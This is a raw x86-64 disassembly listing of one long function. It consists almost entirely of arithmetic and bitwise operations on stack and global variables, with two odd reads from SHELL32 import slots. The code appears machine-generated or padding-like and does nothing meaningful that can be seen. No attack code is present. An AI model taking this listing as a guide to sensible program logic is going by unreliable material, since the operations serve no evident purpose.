mov word [rsp + 0x15c4], ax
lea rax, [rsp + 0xc128]
mov qword [rsp + 0xc988], rax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xc010]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69d8], eax
mov rax, qword [rsp + 0xbe18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68b0], eax
mov rax, qword [rsp + 0xc0e8]
mov qword [rsp + 0xc990], rax
movzx eax, byte [rsp + 0xc2]
movzx ecx, byte [rsp + 0x5c]
add eax, ecx
mov byte [0x1402c74bb], al
movsx eax, word [rsp + 0x1668]
movsx ecx, word [rsp + 0x1684]
add eax, ecx
mov word [rsp + 0x1588], ax
lea rax, [rsp + 0x1698]
mov qword [rsp + 0xc998], rax
mov rax, qword [rsp + 0xbfd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1580]
sub eax, ecx
mov rcx, qword [rsp + 0xbe90]
mov word [rcx], ax
lea rax, [rsp + 0x8d]
mov qword [rsp + 0xc9a0], rax
mov rax, qword [rsp + 0xc900]
movzx ecx, al
mov rax, qword [rsp + 0xc428]
shr rax, cl
mov qword [rsp + 0xc0a0], rax
mov rax, qword [rsp + 0xc878]
mov rcx, qword [rsp + 0xc3e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc738]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc1c8]
mov rax, qword [rax]
mov qword [rsp + 0xc9a8], rax
mov eax, dword [rsp + 0x69fc]
movzx ecx, al
mov eax, dword [rsp + 0x6a60]
shl eax, cl
mov dword [rsp + 0x6a48], eax
movzx eax, byte [0x1402c74ae]
mov byte [rsp + 0xc3], al
mov rax, qword [rsp + 0xc528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x156c]
or eax, ecx
mov word [0x1402c74ec], ax
movzx eax, word [rsp + 0x16cc]
movzx ecx, word [rsp + 0x15a4]
and eax, ecx
mov rcx, qword [rsp + 0xc478]
mov word [rcx], ax
movzx eax, byte [0x1402c90b7]
mov rcx, qword [rsp + 0xc248]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
lea rax, [rsp + 0x90]
mov qword [rsp + 0xc9b0], rax
mov rax, qword [rsp + 0xc180]
mov rcx, qword [rsp + 0xc308]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69f8], eax
lea rax, [rsp + 0x69e4]
mov qword [rsp + 0xc9b8], rax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xbfd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbb68], rax
mov rax, qword [rsp + 0xc848]
mov rcx, qword [rsp + 0xbe60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbfa8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x59]
mov byte [rsp + 0xc4], al
movzx eax, word [rsp + 0x1550]
mov rcx, qword [rsp + 0xc680]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402c74a8], ax
mov rax, qword [rsp + 0xc368]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb7]
add eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
mov rax, qword [rsp + 0xc1c0]
movzx eax, byte [rax]
mov byte [rsp + 0xc5], al
mov rax, qword [rsp + 0xc440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
sub eax, ecx
mov word [rsp + 0x15a8], ax
mov eax, dword [0x1402c7498]
mov ecx, dword [rsp + 0x6b1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a10], eax
mov eax, dword [rsp + 0x6ac0]
mov dword [rsp + 0x6b24], eax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc2e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbf10]
mov qword [rcx], rax
lea rax, [rsp + 0xc060]
mov qword [rsp + 0xc9c0], rax
mov rax, qword [rsp + 0xc8e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbbc0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbd80]
mov word [rcx], ax
lea rax, [rsp + 0x59]
mov qword [0x1402c9298], rax
mov rax, qword [rsp + 0xba78]
movzx eax, byte [rax]
mov byte [rsp + 0xc6], al
mov rax, qword [0x1402c91b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc758]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc208]
mov word [rcx], ax
movzx eax, word [rsp + 0x166c]
mov rcx, qword [rsp + 0xbbc0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x15c8], ax
mov rax, qword [rsp + 0xc310]
mov rax, qword [rax]
mov qword [rsp + 0xc9c8], rax
mov eax, dword [rsp + 0x69f4]
mov ecx, dword [0x1402c7498]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x69a0], eax
lea rax, [rsp + 0x6af8]
mov qword [rsp + 0xc9d0], rax
mov rax, qword [rsp + 0xc778]
mov rcx, qword [rsp + 0xc370]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbf0], rax
movsx eax, word [0x1402c74e8]
mov rcx, qword [rsp + 0xc758]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16b4], ax
mov rax, qword [rsp + 0xc8c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc5e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c90c0], ax
mov rax, qword [0x1402c9208]
movzx eax, byte [rax]
mov byte [rsp + 0xc7], al
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1700]
add eax, ecx
mov rcx, qword [rsp + 0xbcb8]
mov word [rcx], ax
lea rax, [rsp + 0x74]
mov qword [rsp + 0xc9d8], rax
mov rax, qword [rsp + 0xc228]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc238]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0xc008]
mov rcx, qword [rsp + 0xbce8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc0c8], rax
mov eax, dword [rsp + 0x6a50]
mov dword [rsp + 0x6b28], eax
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xc138]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc308]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc330]
mov rax, qword [rax]
mov qword [rsp + 0xc9e0], rax
lea rax, [rsp + 0x158c]
mov qword [0x1402c92a0], rax
mov rax, qword [rsp + 0xc8a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1530]
add eax, ecx
mov rcx, qword [rsp + 0xc398]
mov word [rcx], ax
lea rax, [0x1402c74a3]
mov qword [rsp + 0xc9e8], rax
movzx eax, word [rsp + 0x1650]
movzx ecx, word [rsp + 0x153c]
sub eax, ecx
mov word [rsp + 0x1704], ax
mov rax, qword [rsp + 0xc9a0]
movsx eax, byte [rax]
movsx ecx, byte [reloc.SHELL32.dll_PathYetAnotherMakeUniqueName]
add eax, ecx
mov byte [rsp + 0xb4], al
mov rax, qword [rsp + 0xc690]
mov qword [rsp + 0xc9f0], rax
mov eax, dword [rsp + 0x69b8]
mov ecx, dword [rsp + 0x69ac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc7a0]
mov rax, qword [rax]
mov qword [rsp + 0xc9f8], rax
mov eax, dword [rsp + 0x69a8]
mov rcx, qword [rsp + 0xc308]
mov qword [rsp + 0xca00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca00]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc138]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc368]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9f]
xor eax, ecx
mov byte [0x1402c90a6], al
movsx eax, word [rsp + 0x1688]
mov rcx, qword [0x1402c91d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1664], ax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xca08], rax
mov rax, qword [rsp + 0xc0d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16cc]
cdq
idiv ecx
mov word [rsp + 0x16a0], ax
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0xc8], al
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xc988]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc130]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc920]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc1b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc3f8]
mov qword [rcx], rax
lea rax, [rsp + 0x69b0]
mov qword [rsp + 0xca10], rax
mov eax, dword [rsp + 0x6ab4]
mov ecx, dword [0x1402c7498]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd78]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x8e]
mov rcx, qword [rsp + 0xbd58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c749e], al
lea rax, [0x1402c74b7]
mov qword [rsp + 0xca18], rax
mov rax, qword [rsp + 0xbe90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1634]
add eax, ecx
mov rcx, qword [rsp + 0xc5b8]
mov word [rcx], ax
movsx eax, word [rsp + 0x165c]
mov rcx, qword [rsp + 0xbd98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc5e0]
mov word [rcx], ax
lea rax, [0x1402c91d8]
mov qword [rsp + 0xca20], rax
mov rax, qword [rsp + 0xc010]
mov rcx, qword [rsp + 0xbaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a08], eax
mov rax, qword [rsp + 0xb9b8]
mov rax, qword [rax]
mov qword [rsp + 0xca28], rax
mov rax, qword [rsp + 0xbf90]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbda0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a28]
mov dword [rsp + 0x6b2c], eax
lea rax, [rsp + 0x91]
mov qword [0x1402c92a8], rax
mov rax, qword [rsp + 0xc818]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc3c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc4b0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbdb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x152c]
shl eax, cl
mov word [rsp + 0x1600], ax
movzx eax, word [rsp + 0x157c]
mov word [rsp + 0x170c], ax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x70]
xor eax, ecx
mov byte [rsp + 0x9d], al
mov eax, dword [rsp + 0x69b4]
mov dword [rsp + 0x6b30], eax
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xc3f0]
mov qword [rsp + 0xca30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca30]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc4d8], rax
mov rax, qword [rsp + 0xc868]
mov rcx, qword [rsp + 0xbbf0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc308]
mov eax, dword [rax]
mov dword [rsp + 0x6b34], eax
mov rax, qword [rsp + 0xc970]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1688]
sub eax, ecx
mov word [0x1402c74f0], ax
mov rax, qword [rsp + 0xc6d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc818]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x79], al
lea rax, [rsp + 0x59]
mov qword [rsp + 0xca38], rax
movsx eax, word [rsp + 0x1628]
movsx ecx, word [rsp + 0x1548]
add eax, ecx
mov word [rsp + 0x15ec], ax
mov rax, qword [rsp + 0xbf40]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9208]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc0], al
lea rax, [rsp + 0x69d8]
mov qword [rsp + 0xca40], rax
mov eax, dword [rsp + 0x68b0]
mov ecx, dword [rsp + 0x6a30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbdd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc688]
mov rax, qword [rax]
mov qword [rsp + 0xca48], rax
mov rax, qword [rsp + 0xc5e8]
mov rcx, qword [rsp + 0xb9b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc068]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc3a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc108]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c748c], ax
movzx eax, word [0x1402c91a0]
mov word [rsp + 0x1710], ax
movzx eax, byte [rsp + 0xa3]
movzx ecx, byte [rsp + 0x74]
add eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
movzx eax, word [rsp + 0x1600]
mov rcx, qword [rsp + 0xbd80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1618], ax
movzx eax, byte [0x1402c90a7]
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0xc748]
mov ecx, dword [rsp + 0x6990]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6900], eax
mov rax, qword [rsp + 0xc950]
mov rax, qword [rax]
mov qword [rsp + 0xca50], rax
mov rax, qword [rsp + 0xc7a0]
mov rcx, qword [rsp + 0xc310]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc6a0], rax
mov eax, dword [rsp + 0x6a20]
mov rcx, qword [rsp + 0xc9d0]
mov qword [rsp + 0xca58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xca58]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6af8], eax
movsx eax, word [rsp + 0x167c]
movsx ecx, word [0x1402c74ec]
sar eax, cl
mov word [0x1402c91a0], ax
lea rax, [rsp + 0x1540]
mov qword [rsp + 0xca60], rax
movsx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0xbf40]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc8f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
mov word [rsp + 0x1714], ax
movzx eax, byte [0x1402c748f]
movzx ecx, byte [rsp + 0x96]
sub eax, ecx
mov rcx, qword [rsp + 0xbdc0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbdf0]
mov rcx, qword [rsp + 0xca28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc500], rax
mov eax, dword [rsp + 0x69c8]
mov dword [rsp + 0x6b38], eax
mov rax, qword [rsp + 0xc268]
mov eax, dword [rax]
mov ecx, dword [0x1402c7498]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbdd0]
mov rax, qword [rax]
mov qword [rsp + 0xca68], rax
mov rax, qword [rsp + 0xc590]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0xc070]
movzx eax, word [rax]
mov word [0x1402c92b0], ax
mov rax, qword [rsp + 0xc8c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc658]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc140]
mov word [rcx], ax
lea rax, [rsp + 0x52]
mov qword [rsp + 0xca70], rax
mov rax, qword [0x1402c9250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc9a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc70]
mov byte [rcx], al
mov eax, dword [rsp + 0x6988]
mov dword [rsp + 0x6b3c], eax
mov rax, qword [rsp + 0xc8f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6990]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a28], eax
mov rax, qword [rsp + 0xc310]
mov rax, qword [rax]
mov qword [rsp + 0xca78], rax
mov rax, qword [rsp + 0xc880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc568]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbf00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x158c]
add eax, ecx
mov word [rsp + 0x15e0], ax
mov rax, qword [0x1402c9268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc4c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c90e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc4f8]
movzx eax, byte [rax]
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0xbef0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc4e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc108]
mov word [rcx], ax
movzx eax, byte [0x1402c74ab]
mov byte [rsp + 0xcb], al
mov rax, qword [rsp + 0xbcf8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc9f0]
sar rax, cl
mov qword [rsp + 0xc240], rax
mov rax, qword [rsp + 0xc4b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6af4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc960]
mov dword [rcx], eax
lea rax, [rsp + 0xc700]
mov qword [rsp + 0xca80], rax
mov eax, dword [rsp + 0x6a4c]
movzx ecx, al
mov eax, dword [rsp + 0x6aa8]
shl eax, cl
mov rcx, qword [rsp + 0xc090]
mov dword [rcx], eax
movzx eax, word [rsp + 0x16f0]
mov word [rsp + 0x1718], ax
lea rax, [0x1402c74be]
mov qword [0x1402c92b8], rax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x94]
xor eax, ecx
mov byte [rsp + 0xa9], al
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x64]
and eax, ecx
mov byte [rsp + 0xa6], al
mov rax, qword [0x1402c9128]
movzx eax, word [rax]
mov word [rsp + 0x171c], ax
mov rax, qword [rsp + 0xc400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc168]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc948], rax
lea rax, [rsp + 0xc930]
mov qword [rsp + 0xca88], rax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x6a34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc6b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6b08]
mov ecx, dword [rsp + 0x6a6c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbf78]
mov dword [rcx], eax
lea rax, [rsp + 0xc1]
mov qword [rsp + 0xca90], rax
movsx eax, word [rsp + 0x16ac]
mov rcx, qword [0x1402c91b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402c90c0], ax
mov rax, qword [rsp + 0xc470]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x58]
sub eax, ecx
mov byte [rsp + 0x88], al
lea rax, [rsp + 0x15fc]
mov qword [rsp + 0xca98], rax
mov rax, qword [rsp + 0xc758]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc140]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15e8], ax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0xcaa0], rax
mov rax, qword [rsp + 0xc078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc778]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbfe0], rax
mov rax, qword [rsp + 0xc080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6afc], eax
mov eax, dword [rsp + 0x6ad4]
mov dword [rsp + 0x6b40], eax
mov rax, qword [rsp + 0xc720]
mov rcx, qword [rsp + 0xc6a0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc068]
mov qword [rcx], rax
lea rax, [rsp + 0x15a4]
mov qword [0x1402c92c0], rax
movzx eax, word [rsp + 0x1630]
mov word [rsp + 0x1720], ax
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0x80]
sar eax, cl
mov byte [rsp + 0x97], al
movzx eax, word [rsp + 0x171c]
movzx ecx, word [0x1402c92b0]
shl eax, cl
mov word [rsp + 0x16cc], ax
mov rax, qword [rsp + 0xc708]
movzx eax, byte [rax]
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0xc328]
mov rcx, qword [rsp + 0xc820]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc558], rax
lea rax, [rsp + 0xc888]
mov qword [rsp + 0xcaa8], rax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ab8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a8c], eax
mov rax, qword [rsp + 0xbd38]
mov ecx, dword [rsp + 0x6a58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6aa4], eax
lea rax, [rsp + 0x76]
mov qword [0x1402c92c8], rax
mov rax, qword [rsp + 0xc5c8]
movzx eax, word [rax]
mov word [rsp + 0x1724], ax
movzx eax, byte [rsp + 0x8c]
movzx ecx, byte [rsp + 0x6e]
sub eax, ecx
mov rcx, qword [rsp + 0xc928]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc80]
movzx eax, word [rax]
mov word [rsp + 0x1728], ax
movzx eax, word [0x1402c74c0]
movzx ecx, word [rsp + 0x15ac]
add eax, ecx
mov word [rsp + 0x15fc], ax
mov rax, qword [rsp + 0xbd68]
mov eax, dword [rax]
mov dword [rsp + 0x6b44], eax
mov rax, qword [rsp + 0xbc90]
mov rcx, qword [rsp + 0xba08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc3f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xca68]
mov rcx, qword [rsp + 0xc418]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbcf8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a14]
mov dword [rsp + 0x6b48], eax
mov rax, qword [rsp + 0xc710]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc8a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402c74d4], ax
movzx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0xc368]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0xc8e0]
movzx eax, word [rax]
mov word [rsp + 0x172c], ax
mov rax, qword [rsp + 0xc1c0]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c74c2]
add eax, ecx
mov rcx, qword [rsp + 0xbc70]
mov byte [rcx], al
movsx eax, byte [rsp + 0x5d]
movsx ecx, byte [rsp + 0xb3]
sub eax, ecx
mov byte [rsp + 0x87], al
mov eax, dword [rsp + 0x6a04]
mov dword [rsp + 0x6b4c], eax
mov rax, qword [rsp + 0xc598]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc3e8]
mov qword [rsp + 0xcab0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcab0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6a98], eax
mov rax, qword [rsp + 0xc300]
mov qword [rsp + 0xcab8], rax
mov rax, qword [rsp + 0xc9c8]
mov rcx, qword [rsp + 0xc6a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1d0], rax
mov rax, qword [rsp + 0xbaf0]
movsx eax, word [rax]
mov rcx, qword [0x1402c9268]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1402c74f4], ax
movzx eax, word [rsp + 0x171c]
mov rcx, qword [rsp + 0xca98]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x16e0], ax
lea rax, [rsp + 0xb9]
mov qword [rsp + 0xcac0], rax
mov rax, qword [0x1402c91c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x97], al
lea rax, [rsp + 0x1718]
mov qword [rsp + 0xcac8], rax
mov rax, qword [rsp + 0xc7b8]
mov rcx, qword [rsp + 0xc500]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9c8], rax
mov rax, qword [rsp + 0xc4a8]
mov ecx, dword [rsp + 0x6ad8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a68], eax
lea rax, [rsp + 0x6ab4]
mov qword [rsp + 0xcad0], rax
mov rax, qword [rsp + 0xc920]
mov rcx, qword [rsp + 0xbe60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbfb8], rax
movzx eax, byte [reloc.SHELL32.dll_ILGetNext]
movzx ecx, byte [rsp + 0xb1]
add eax, ecx
mov rcx, qword [0x1402c9190]
mov byte [rcx], al
lea rax, [rsp + 0x95]
mov qword [rsp + 0xcad8], rax
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0xbea8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc9e8]
mov byte [rcx], al
lea rax, [rsp + 0x15e8]
mov qword [rsp + 0xcae0], rax
movzx eax, word [rsp + 0x16dc]
movzx ecx, word [rsp + 0x1600]
and eax, ecx
mov word [rsp + 0x16cc], ax
mov rax, qword [rsp + 0xbc98]
mov ecx, dword [rsp + 0x69f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69bc], eax
mov rax, qword [rsp + 0xca78]
mov qword [rsp + 0xcae8], rax
mov eax, dword [rsp + 0x69c4]
mov ecx, dword [rsp + 0x6ac4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc198]
mov dword [rcx], eax
lea rax, [rsp + 0xc370]
mov qword [rsp + 0xcaf0], rax
movzx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74ca], al
mov rax, qword [rsp + 0xc8c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1568]
sar eax, cl
mov rcx, qword [rsp + 0xc8a0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1570]
mov rcx, qword [0x1402c9178]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1618], ax
movzx eax, word [rsp + 0x1704]
mov word [rsp + 0x1730], ax
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
xor eax, ecx
mov byte [rsp + 0x64], al
lea rax, [rsp + 0xc188]
mov qword [rsp + 0xcaf8], rax
mov rax, qword [rsp + 0xcad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ab4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6900], eax
mov rax, qword [rsp + 0xc660]
mov rcx, qword [rsp + 0xc558]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xca48], rax
mov eax, dword [rsp + 0x6a18]
mov dword [rsp + 0x6b50], eax
movzx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0xc238]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74bb], al
movsx eax, byte [rsp + 0x80]
movsx ecx, byte [rsp + 0xa0]
sub eax, ecx
mov byte [rsp + 0xca], al
lea rax, [rsp + 0x1694]
mov qword [rsp + 0xcb00], rax
mov rax, qword [rsp + 0xc4f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
add eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov byte [rcx], al
lea rax, [rsp + 0x1608]
mov qword [rsp + 0xcb08], rax
mov rax, qword [rsp + 0xc978]
mov rcx, qword [rsp + 0xc7b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc4a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe38]
mov rcx, qword [rsp + 0xbb08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc980], rax
mov rax, qword [rsp + 0xc720]
mov rax, qword [rax]
mov qword [rsp + 0xcb10], rax
mov rax, qword [rsp + 0xbf18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a74]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbdd8]
mov dword [rcx], eax
lea rax, [rsp + 0x169c]
mov qword [rsp + 0xcb18], rax
movzx eax, byte [rsp + 0x68]
movzx ecx, byte [rsp + 0x8f]
and eax, ecx
mov byte [0x1402c748b], al
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc020]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x66], al
movsx eax, word [rsp + 0x156c]
movsx ecx, word [rsp + 0x1728]
shl eax, cl
mov word [rsp + 0x1658], ax
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0xcd], al
